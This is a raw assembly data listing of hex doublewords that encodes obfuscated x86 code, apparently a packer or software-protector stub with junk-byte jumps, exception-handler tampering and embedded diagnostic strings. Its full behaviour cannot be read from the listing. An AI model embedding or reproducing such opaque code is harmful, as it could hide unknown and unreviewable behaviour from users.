		dd 95FF5A75h, 62B2C39h,	83D3BF0Fh, 6A10C4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 342F44C3h
		dd 895ED287h, 2B295185h, 57C08B06h, 59FABF0Fh, 1F9BD83h
		dd 7500062Bh, 89BD8309h, 62B16h, 53501974h, 0D3B8C08Bh
		dd 89000007h, 2B1B8185h, 759D8D06h, 0FF062DBFh,	83585BD3h
		dd 2B1689BDh, 17740006h, 0D3B85350h, 89000007h,	2B1B8185h
		dd 649D8D06h, 0FF062DBCh, 6A585BD3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6AE4C351h
		dd 9D958B45h, 8A062B15h, 0E8C08BEBh, 12h, 0DA54E0FCh, 453F315Ah
		dd 9BCB0501h, 3D7D6D43h, 9D01EE14h, 62B0D9Dh, 87BD815Ah
		dd 6F062E01h, 0F616572h, 0B184h, 1E8F0F00h, 0F000000h
		dd 188Ch, 13E900h, 0C5460000h, 5151E804h, 7FFDDF8h, 9C8324C9h
		dd 52B9F323h, 6830FA2h,	1000000h, 2B1A899Dh, 0FF858D06h
		dd 50062E01h, 33C858Dh,	8D50062Eh, 2E035D85h, 95FF5006h
		dd 62B2C39h, 0C60CC483h, 2B332D85h, 4F684406h, 0FF96A318h
		dd 2B0B1DB5h, 25858D06h, 0FF062B3Ch, 8DD88BD0h,	2E035D85h
		dd 0D3FF5006h, 187858Dh, 8D50062Eh, 2E01FF85h, 0BD835006h
		dd 62B0845h, 8D087400h,	2E032585h, 8D06EB06h, 2E030E85h
		dd 858D5006h, 62E035Dh,	3995FF50h, 83062B2Ch, 25BA10C4h
		dd 801B48E3h, 95FFA7F2h, 62B0FBDh, 25F88B66h, 0FFh, 0F883CEB6h
		dd 80830F05h, 29000000h, 2B213185h, 40F68006h, 1F3D85C7h
		dd 1062Bh, 958B0000h, 62B2715h,	858DCB8Bh, 62E01BBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0AEC35545h, 4B415853h
		dd 0E9D38B66h, 6Dh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 3BC35040h, 9BDEE982h,	6016BC14h, 6EDB8166h
		dd 0DB58B47h, 61062B07h, 0FD8D8BF9h, 83062B01h,	2B0845BDh
		dd 840F0006h, 1Dh, 2B119D89h, 858D062Bh, 62E01E6h, 1800Fh
		dd 0E9F50000h, 11h, 0B52474BAh,	0C8858D09h, 8B062E01h
		dd 2B0A118Dh, 0FB858906h, 8B062E01h, 2B29498Dh,	8D896006h
		dd 62B025Dh, 11E8h, 2ADD700h, 0BF4F810Dh, 26155461h, 7D13D067h
		dd 858B9D73h, 62B2FDDh,	0BD83615Fh, 62B0845h, 25850F00h
		dd 0F5000000h, 0CE9h, 0AAD64200h, 0B6296467h, 0B579440Bh
		dd 82BD8337h, 62E11h, 16840Fh, 0BD8B0000h, 62B06F9h, 10FBE9h
		dd 0E9BD8B00h, 66062B26h, 0B4CDF281h, 4BCE9h, 7D8D0300h
		dd 8B062B34h, 25BD01C0h, 83062B1Eh, 2B01F9BDh, 9750006h
		dd 1689BD83h, 7400062Bh, 8B535019h, 7D4B8C0h, 85890000h
		dd 62B1B81h, 0BF759D8Dh, 0D3FF062Dh, 0BD83585Bh, 62B1689h
		dd 50177400h, 7D4B853h,	85890000h, 62B1B81h, 0BC649D8Dh
		dd 0D3FF062Dh, 10E8585Bh, 45000000h, 0B15967D5h, 0FBBE7A2Dh
		dd 3BEC2CA9h, 89522D59h, 2B01E595h, 0BD035F06h,	62B1EF9h
		dd 0F60C08Bh, 9D31CAB7h, 62B05A1h, 3F6861h, 29BA000Fh
		dd 6A34A549h, 0C9958900h, 6A062B18h, 0B3BA6600h, 1595FF5Bh
		dd 0E9062B21h, 0Eh, 0AD2D2228h,	0B582CF10h, 6A659382h
		dd 0C08577FCh, 25850Fh,	0E8600000h, 11h, 2F31EA0Bh, 0F39DBFDBh
		dd 8C7609F3h, 2F6C0AEEh, 8B0FACh, 5B000000h, 0BE9BD29h
		dd 8961062Bh, 2E017F85h, 76B96606h, 89006A11h, 2B186DB5h
		dd 8A006A06h, 8B006AD7h, 2B32EDBDh, 6A006A06h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0CCB8C352h, 8FF90F93h, 958BC3BCh, 62B0ACDh, 0BD8B006Ah
		dd 62B0A1Dh, 35D858Dh, 8D29062Eh, 62B1981h, 0E926B950h
		dd 16A610Fh, 6AC9CA80h,	50006A01h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 38A0C859h, 226E32F9h
		dd 7E8C3h, 789D0000h, 7B58BD27h, 0B3CA818Dh, 590FCF65h
		dd 68F9016Ah, 0F01FFh, 0E850Fh,	9E90000h, 9000000h, 0E3C21471h
		dd 0F5D5C3C4h, 845BD83h, 0F00062Bh, 1A84h, 0FA8B6600h
		dd 1DC858Dh, 9589062Eh,	62B3271h, 18E9h, 3DBD8900h, 8D062B0Dh
		dd 2E01B285h, 0A18D0B06h, 29062B1Bh, 2B2C75B5h,	0BD035006h
		dd 62B2A55h, 51006A50h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0C05AE358h, 17FB5FFh, 8D0B062Eh
		dd 62B3079h, 0CE9h, 61552E00h, 0B73BD212h, 0BC0343B1h
		dd 6B95FF77h, 6A062E01h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 5739C350h, 850FC085h
		dd 0Bh,	0E9F88B66h, 54h, 89CB8B66h, 2E018385h, 0FFFA8B06h
		dd 2E0183B5h, 89BD0306h, 89062B28h, 2B1B5995h, 0B595FF06h
		dd 6A062B02h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 97D1C357h, 8B2B7EC3h, 0FC085F8h
		dd 785h, 0F9BF0F00h, 0DC1BA66h,	6A106Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 531B71C3h
		dd 0B52939B7h, 62B24C1h, 845BD83h, 0F00062Bh, 5184h, 0AE900h
		dd 0F97C0000h, 132E4DEEh, 52D54EA3h, 1DC858Dh, 6A062Eh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0D1525C3h, 99F9614Ah, 0B70F5324h, 236059CBh,	2B06B18Dh
		dd 0ECBF6606h, 0CE96130h, 0F000000h, 858DCABFh,	62E01B2h
		dd 5064CA80h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7BC35141h
		dd 0F75A9875h, 0DBD8952h, 59062B08h, 17FB5FFh, 8B66062Eh
		dd 7795FFCBh, 6A062E01h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0A2B1C350h,	485A5BEBh
		dd 67B966D8h, 0CE96Ah, 7EC80000h, 7AC2B5C2h, 4006285Dh
		dd 0C08506B0h, 3D850Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 85C2AEC3h, 0F456E7Fh
		dd 581h, 0CE1ABA00h, 0CE91CF3h,	0CD000000h, 0B0C0E4BEh
		dd 0B2A24E86h, 8980D3D7h, 2E018385h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0CF8B2B92h
		dd 0BA66006Ah, 6ADD89h,	0FFC9BF0Fh, 2E0183B5h, 12E806h
		dd 0A81D0000h, 0A232E518h, 870840EEh, 0B6894126h, 2F3846ABh
		dd 0DE9h, 334AA700h, 6046A30Bh,	169F296Fh, 0FF59BA77h
		dd 2E016F95h, 2DBF6606h, 0FC085D5h, 1585h, 10E900h, 0E7540000h
		dd 552BB12Fh, 59C8D9Ch,	93BB7F78h, 0B5FF9CCCh, 62E0183h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0D8C35040h
		dd 0DCE8A9AFh, 9FB9F5B9h, 0FF415542h, 2B02B595h, 3850F06h
		dd 0F000000h, 0C085CEB7h, 7850Fh, 0B9510000h, 5A1DDFB4h
		dd 6A006A5Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0BF03C352h, 0C11A4B35h, 10E9C6h
		dd 5EF20000h, 6D0CFD98h, 0D125A3C0h, 6D6E9796h,	806855BAh
		dd 66000000h, 6A58E6BFh, 7E803h, 59320000h, 17FA4F96h
		dd 6A5F15h, 0AAF28166h,	13E962h, 36390000h, 0CDE712D4h
		dd 0E711415Eh, 0A9E0F02h, 0F6020CBCh, 66006AA5h, 68A7E3BAh
		dd 0C0000000h, 12E9h, 3B8EB800h, 4A23A583h, 3C1A6CA7h
		dd 9407244Dh, 0FF9A1ADAh, 2E01FBB5h, 0FDBD8906h, 0FF062B2Fh
		dd 2B07D595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0FC24894h, 0FF21935Eh, 11E9h, 2F5DEB00h
		dd 29EC5AF7h, 7F2AB72Eh, 3105877Dh, 0F883C8F0h,	0CF850FFFh
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 158C352h, 2B08BD95h, 6985FF06h
		dd 8A062E0Ch, 69BD83F5h, 2062E0Ch, 384840Fh, 81560000h
		dd 5180FFEFh, 858D595Ah, 5B243Bh, 0FD0FFF9h, 858DD3BFh
		dd 5B1E8Eh, 869DB966h, 0B529D0FFh, 62B0D09h, 958BC08Bh
		dd 62B2709h, 1F9BD83h, 7500062Bh, 89BD8309h, 62B16h, 53501974h
		dd 0D8B8C08Bh, 89000007h, 2B1B8185h, 759D8D06h,	0FF062DBFh
		dd 83585BD3h, 2B1689BDh, 17740006h, 0D8B85350h,	89000007h
		dd 2B1B8185h, 649D8D06h, 0FF062DBCh, 8B585BD3h,	2B242995h
		dd 95896006h, 62B0A75h,	20218D29h, 0E961062Bh, 11h, 442A1A4Ah
		dd 0CC0A4E3Eh, 1355B045h, 4E42CFD0h, 89C08B26h,	2B2F3585h
		dd 3F6806h, 0E960000Fh,	0Eh, 5E36F3CAh,	0DE16E434h, 0D723602Ah
		dd 6A61107Ah, 6ACB8A00h, 0CDBD2900h, 0FF062B0Ah, 2B211595h
		dd 7E906h, 11DD0000h, 2A64126Bh, 0C181666Eh, 0C08514F8h
		dd 0BE9h, 3FAADE00h, 3EE7BD44h,	0CBD7FA0Fh, 17F8589h, 0BD8B062Eh
		dd 62B1AEDh, 0F01FF68h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 914758A9h, 0BD89B3BFh
		dd 62B1F05h, 845BD83h, 0F00062Bh, 6284h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 2F35EBC4h, 969BD8Bh,	858D062Bh, 62E01DCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0FC35141h, 981686C8h
		dd 7018D89h, 8D8B062Bh,	62B1F35h, 0EE9h, 75BD8900h, 8D062B02h
		dd 2E01B285h, 5077B106h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 5EC35545h, 0FFFABF0Fh, 2E017FB5h, 0D38B6606h
		dd 8998D8Bh, 95FF062Bh,	62E0177h, 5810F51h, 66000000h
		dd 928ACF81h, 83858959h, 66062E01h, 0BFC765BFh,	3E8C9F15h
		dd 264585C7h, 62Bh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 170424h, 57470000h, 8506D7C3h, 198D0BFBh
		dd 0E9062B11h, 14h, 0FC7DD294h,	493202B0h, 0D81DAD68h
		dd 3BACE58Ah, 2B9FD419h, 183BD83h, 0F00062Eh, 12A84h, 0FE900h
		dd 0C7F20000h, 5CD5F819h, 43F15CEAh, 33474AC3h,	61858D76h
		dd 8B062E04h, 0EA8166D6h, 0B50352Eh, 2B2BC995h,	0F016A06h
		dd 0B5FFC9BFh, 62E0183h, 7B95FFFCh, 0FF062E01h,	2E0183B5h
		dd 458D8B06h, 0FF062B11h, 2B02B595h, 8D952906h,	68062B11h
		dd 0F01FFh, 29D18B66h, 2B20B185h, 45BD8306h, 62B08h, 32840Fh
		dd 0DA800000h, 0DC858DE3h, 8B062E01h, 2B350D95h, 2AE906h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0FA8B28C3h, 1B2858Dh, 0B589062Eh,	62B34B5h
		dd 0FFCB8B50h, 2E017FB5h, 0D8F18006h, 17795FFh,	9589062Eh
		dd 62B10D1h, 1838589h, 5E8062Eh, 43000000h, 141319C0h
		dd 6850Fh, 8D030000h, 62B2CBDh,	83B5FF5Ah, 8B062E01h, 2B17F58Dh
		dd 7395FF06h, 8B062E01h, 2B25EDBDh, 83B5FF06h, 89062E01h
		dd 2B09B9B5h, 0B595FF06h, 60062B02h, 13BA6660h,	0CDBA66E9h
		dd 0E95261A7h, 0Dh, 1337B4DEh, 9A4CBBBAh, 3A5846CBh, 0E9615924h
		dd 0FFFFF6AFh, 8794D781h, 0B5FF1D7Ah, 62E0CCCh,	0EE9h
		dd 53C2A400h, 0B61DEB0Ch, 0C3B651E7h, 0E921C14Fh, 9, 81AD442Fh
		dd 9ACCF1EFh, 3195FF4Bh, 0E8062B27h, 13h, 5BC109A4h, 20444428h
		dd 0C6092352h, 0F2D1492Dh, 8B04834Ch, 2B11418Dh, 858B5F06h
		dd 62B0099h, 24918589h,	3FE9062Bh, 8B000005h, 2B062D8Dh
		dd 81B58D06h, 23062E04h, 2B333D8Dh, 2F858D06h, 6A062DB1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 3554C351h, 59662652h, 551BC3A2h, 2D25BD89h
		dd 0D0FF062Bh, 6A29D580h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8166EF11h
		dd 0FFD152EAh, 2B0EA195h, 0D9BD8B06h, 8B062B24h, 68C0FF3h
		dd 1000000h, 2B34F995h,	2F858D06h, 81062DB1h, 54AA73F7h
		dd 31D0FF4Ah, 2B2D819Dh, 89006A06h, 2B10A5B5h, 0A195FF06h
		dd 0E9062B0Eh, 0Ah, 0EF04329Fh,	231BE13Ah, 0C08BFB20h
		dd 21C98D89h, 0BD83062Bh, 62B01F9h, 83097500h, 2B1689BDh
		dd 19740006h, 0C08B5350h, 7D9B8h, 81858900h, 8D062B1Bh
		dd 2DBF759Dh, 5BD3FF06h, 89BD8358h, 62B16h, 53501774h
		dd 7D9B8h, 81858900h, 8D062B1Bh, 2DBC649Dh, 5BD3FF06h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0ADA52D6Ah, 3DB589D8h, 0BF062B0Ah, 74B777E3h
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 2CE213C3h, 664AA8DFh, 0C8C7D181h,	8BD08B50h
		dd 8D53F5D8h, 2B0F259Dh, 89038B06h, 50438B03h, 8D504389h
		dd 2E0C659Dh, 89038B06h
		dd 6A5B03h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 4DF798C3h, 6E953h, 86370000h, 1EDA602Bh
		dd 3DBD8B59h, 6A062B06h, 7DBD8B00h, 8D062B01h, 2E0C6585h
		dd 1BD68006h, 11E950h, 3E150000h, 0DAEB63ADh, 0C40A36B7h
		dd 30A825C8h, 6A04E08Ch, 8DD38B60h, 2B0F2585h, 85015006h
		dd 62B3271h, 2960006Ah,	2B05E5BDh, 0B9BD2906h, 61062B2Fh
		dd 6E8006Ah, 57000000h,	0A36491CAh, 958B5169h, 62B34C9h
		dd 685A5Fh, 8A000018h, 8D3353C8h, 62B0B5Dh, 123995FFh
		dd 8C0F062Bh, 3, 0FFD38B66h, 2B240D95h,	56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 7DE923F2h, 607047C1h, 0EA9BD8Bh, 0B58B062Bh,	62B2681h
		dd 0E98D8B61h, 0FF062B06h, 2E0CCCB5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 860FFA17h, 0F95455B3h, 0BE8h, 9FF97F00h, 5EE0A6E6h
		dd 0E05277BEh, 95FF5FFCh, 62B2731h, 9B59523h, 858D062Bh
		dd 62B0F25h, 0C018D31h,	408B062Bh, 0E18D8B18h, 0C7062B0Fh
		dd 2B0AB585h, 6, 0A1958B00h, 83062B00h,	2B0845BDh, 840F0006h
		dd 2Bh,	3DCA8B66h, 8Ch,	164830Fh, 860F0000h, 6,	1AA1BD0Bh
		dd 1DE9062Bh, 89000000h, 2B1F5DB5h, 91958B06h, 3D062B02h
		dd 98h,	13C830Fh, 0BD890000h, 62B1AC1h,	243B858Dh, 8B66005Bh
		dd 0FD0FFD7h, 68Fh, 0E1B58900h,	89062B06h, 2B32E59Dh, 8E858D06h
		dd 0E9005B1Eh, 0Dh, 4C995160h, 0FEE8AB70h, 0A02634B0h
		dd 8BD0FF36h, 0D6B70FC0h, 1F9BD83h, 7500062Bh, 89BD8309h
		dd 62B16h, 53501974h, 0C6B8C08Bh, 8900000Bh, 2B1B8185h
		dd 759D8D06h, 0FF062DBFh, 83585BD3h, 2B1689BDh,	17740006h
		dd 0C6B85350h, 8900000Bh, 2B1B8185h, 649D8D06h,	0FF062DBCh
		dd 0B9585BD3h, 385ECBA4h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 73C35040h, 3098685h, 8B13E182h, 2B02618Dh
		dd 29C08B06h, 2B0825BDh, 0FFF88306h, 26850Fh, 0BF0F0000h
		dd 0ED85C7D3h, 62B01h, 0F000000h, 6E9D3BFh, 29000001h
		dd 2B32ADBDh, 4BE906h, 0BD8B0000h, 62B2459h, 0F01F883h
		dd 3C85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0D1814080h, 194964C7h, 792FBA66h
		dd 101E9h, 0BE900h, 32DF0000h, 0C6240644h, 0F5CF9952h
		dd 0F1F9E995h, 0C08BFFFFh, 271D8D23h, 0BD83062Bh, 62B01F9h
		dd 83097500h, 2B1689BDh, 19740006h, 0C08B5350h,	7DDB8h
		dd 81858900h, 8D062B1Bh, 2DBF759Dh, 5BD3FF06h, 89BD8358h
		dd 62B16h, 53501774h, 7DDB8h, 81858900h, 8D062B1Bh, 2DBC649Dh
		dd 5BD3FF06h, 10870F58h, 0E9000000h, 0Bh, 5323BCEFh, 0F59FDFFh
		dd 8935DFEFh, 2B3435BDh, 0D19D0906h, 8B062B18h,	6860FC0h
		dd 89000000h, 2B1189BDh, 256E906h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0BDA868C3h
		dd 0ABFBE9BFh, 69858D22h, 8B062E0Ah, 2B2465BDh,	61858906h
		dd 6A062E0Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0CFF1C353h, 12217CDDh,	0D2816692h
		dd 40E99A23h, 0F000000h, 858DF9BFh, 62E0871h, 6A40D5B2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8BB0C350h, 2B15A18Dh, 61858906h, 0F062E0Ch
		dd 682h, 0A1B58900h, 6A062B2Fh,	5858D34h, 50062B0Eh, 0C61B5FFh
		dd 6A062Eh, 2BDD95FFh, 0F883062Bh, 68840F07h, 66000001h
		dd 0C3F6DB8Ch, 2850F04h, 0C6000001h, 2B332D85h,	52685606h
		dd 0FF9CA8B8h, 2B0B1DB5h, 25858D06h, 0FF062B3Ch, 68046AD0h
		dd 1000h, 6A646Ah, 8589D0FFh, 62E0CD4h,	332D85C6h, 6847062Bh
		dd 0EC18AC9Bh, 0B1DB5FFh, 858D062Bh, 62B3C25h, 0D0FFD0FFh
		dd 85C6F08Bh, 62B332Dh,	2661684Fh, 0B5FFC62Fh, 62B1809h
		dd 3C25858Dh, 0D0FF062Bh, 0CD09D8Dh, 6A53062Eh,	0D0FF5628h
		dd 75C085h, 332D85C6h, 6841062Bh, 0DB876498h, 1809B5FFh
		dd 858D062Bh, 62B3C25h,	8589D0FFh, 62E0CEDh, 332D85C6h
		dd 684C062Bh, 80A4E7A4h, 1809B5FFh, 858D062Bh, 62B3C25h
		dd 9D8BD0FFh, 62E0CD4h,	53045B8Dh, 0CD99D8Dh, 6A53062Eh
		dd 8BD0FF00h, 2E0CD49Dh, 103C706h, 0C7000000h, 20C43h
		dd 9D8B0000h, 62B242Dh,	19D185C7h, 62Bh, 6A0000h, 6A006Ah
		dd 0CD49D8Bh, 6A53062Eh, 0D0B5FF00h, 0FF062E0Ch, 2E0CED95h
		dd 2D85C606h, 45062B33h, 0A5F79768h, 19B5FF92h,	8D062B2Fh
		dd 2B3C2585h, 6AD0FF06h, 0FF026A00h, 0DB8C66D0h, 7504C3F6h
		dd 0D49D8B32h, 0C7062E0Ch, 0C43h, 6A0000h, 9D8B006Ah, 62E0CD4h
		dd 0FF006A53h, 2E0CD0B5h, 0ED95FF06h, 0FF062E0Ch, 2E0CD0B5h
		dd 0D95FF06h, 6A062B24h, 0A195FF00h, 6A062B0Eh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 3BCFC350h, 35FD0392h, 0CBBF0FFCh, 40D0858Dh,	9501062Eh
		dd 62B00F5h, 35FF6450h,	0
		dd 6800Fh, 66520000h, 5FA397BFh, 258964h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 20BEC356h, 0BD83494Ch, 62B328Dh, 3F840F00h, 89000000h
		dd 2B112D85h, 1BD8306h,	1062B0Ah, 2C850Fh, 0BD030000h
		dd 62B18E5h, 6820Fh, 8D8B0000h,	62B0ED5h, 10EDBD80h, 0F00062Eh
		dd 0D85h, 0D1958900h, 0E9062B18h, 207h,	0DB33D68Bh, 0C880Fh
		dd 820F0000h, 6, 8DD9589h, 0C033062Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0BAC35545h,	6BE33704h, 0BD8BCC14h
		dd 62B1B19h, 73F0F40h, 58F640Bh, 0
		dd 6004C483h, 1B35B589h, 6E8062Bh, 8E000000h, 8A521152h
		dd 5BC58A17h, 0DF816661h, 0FC5264F9h, 0FFFB835Fh, 52840Fh
		dd 0E8560000h, 14h, 0CBC0A9Eh, 0F8A5F602h, 3D07F3D1h, 0A9A7CDA6h
		dd 13335250h, 5959F18Ah, 0BA1B589h, 5EE9062Bh, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0B130C352h, 0BCDBD89h, 9D01062Bh,	62B1BF9h
		dd 83E9h, 858B6000h, 62B07D9h, 61F38B66h, 0C244C8Bh, 0A481C7h
		dd 0FFFF0000h, 8183FFFFh, 0B8h,	0C3C03304h, 0C245C8Bh
		dd 0E855h, 815D0000h, 2E40F2EDh, 0B8838B06h, 8D000000h
		dd 2E41FF85h, 0B8838906h, 5D000000h, 0E9C3C033h, 12h, 1C40C24Bh
		dd 0F7A30A5Fh, 3A468D6Eh, 9B5A6402h, 6A27D0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 52C661C3h
		dd 59F98B66h, 40E8858Dh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 80880AC3h, 7715870Dh
		dd 81D8589h, 6A50062Bh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 80B7C353h, 0C8C0FA2h
		dd 0F000000h, 680h, 0D950900h, 89062B08h, 2B19198Dh, 35FF6406h
		dd 0
		dd 26B19501h, 0D781062Bh, 106DC905h, 258964h, 89000000h
		dd 2B0519B5h, 0AB906h, 4B80000h, 54855D7h, 0DF78164h, 85D465BBh
		dd 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h
		dd 2985C70Ah, 1062B1Fh,	64000000h, 58Fh, 0C4830000h, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0E18589F7h, 81062B17h, 5FA0B5F2h, 8BC08B4Dh,	2B2EEDBDh
		dd 83CB8A06h, 2B01F9BDh, 9750006h, 1689BD83h, 7400062Bh
		dd 8B535019h, 43DB8C0h,	85890000h, 62B3479h, 0BFDC9D8Dh
		dd 0D3FF062Dh, 0BD83585Bh, 62B1689h, 50177400h,	43DB853h
		dd 85890000h, 62B3479h,	0BC7D9D8Dh, 0D3FF062Dh,	0B589585Bh
		dd 62B3331h, 0EC09F781h, 0C08B4E3Ah, 147E9h, 400h, 392E3100h
		dd 3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 15B1BD83h, 0F00062Bh
		dd 12D84h, 94858D00h, 50062DBAh, 0B9FE858Dh, 6850062Dh
		dd 80000001h, 0BAA495FFh, 858D062Dh, 62E4299h, 0A3858D50h
		dd 50062E42h, 6A006Ah, 0BA12858Dh, 0FF50062Dh, 2DBA94B5h
		dd 0C595FF06h, 8D062B24h, 2E429985h, 858D5006h,	62E42A7h
		dd 6A006A50h, 24858D00h, 50062DBAh, 0BA94B5FFh,	95FF062Dh
		dd 62B24C5h, 4299858Dh,	8D50062Eh, 2E42B385h, 6A5006h
		dd 858D006Ah, 62DBA71h,	94B5FF50h, 0FF062DBAh, 2B24C595h
		dd 99858D06h, 50062E42h, 42BB858Dh, 6A50062Eh, 8D006A00h
		dd 2DBA8F85h, 0B5FF5006h, 62DBA94h, 24C595FFh, 858D062Bh
		dd 62E4299h, 0B7858D50h, 50062E42h, 6A006Ah, 0BA78858Dh
		dd 0FF50062Dh, 2DBA94B5h, 0C595FF06h, 8D062B24h, 2E429985h
		dd 858D5006h, 62E42ABh,	6A006A50h, 80858D00h, 50062DBAh
		dd 0BA94B5FFh, 95FF062Dh, 62B24C5h, 4299858Dh, 8D50062Eh
		dd 2E42AF85h, 6A5006h, 858D006Ah, 62DBA87h, 94B5FF50h
		dd 0FF062DBAh, 2B24C595h, 94B5FF06h, 0FF062DBAh, 2B11D995h
		dd 0A2E906h, 0BD830000h, 62B0BC5h, 95840F00h, 83000000h
		dd 2B0A01BDh, 850F0006h, 11h, 260D958Bh, 0C281062Bh, 1CF8h
		dd 0FE9h, 25958D00h, 8B062B0Fh,	0C2813452h, 3BD4C340h
		dd 12019589h, 0BD83062Bh, 62B1201h, 55840F00h, 8B000000h
		dd 2B12019Dh, 4CC38306h, 8589038Bh, 62E42A3h, 12019D8Bh
		dd 0C383062Bh, 89038B50h, 2E42A785h, 19D8B06h, 83062B12h
		dd 38B54C3h, 42B38589h,	9D8B062Eh, 62B1201h, 8B58C383h
		dd 0B7858903h, 8B062E42h, 2B12019Dh, 5CC38306h,	8589038Bh
		dd 62E42ABh, 15B1BD83h,	0F00062Bh, 0D85h, 0C5BD8300h, 62B0Bh
		dd 68840Fh, 0B5FF0000h,	62E42BBh, 42AFB5FFh, 0B5FF062Eh
		dd 62E42ABh, 42B7B5FFh,	0B5FF062Eh, 62E42B3h, 42A7B5FFh
		dd 0B5FF062Eh, 62E42A3h, 429D858Dh, 8D50062Eh, 2E42D585h
		dd 858D5006h, 62B2201h,	3995FF50h, 83062B2Ch, 406A24C4h
		dd 42BF858Dh, 8D50062Eh, 2B220185h, 6A5006h, 2BDD95FFh
		dd 16A062Bh, 0EA195FFh,	0C18B062Bh, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 62E4669h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 0A1B58BFFh, 81062E46h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0A5B53B00h
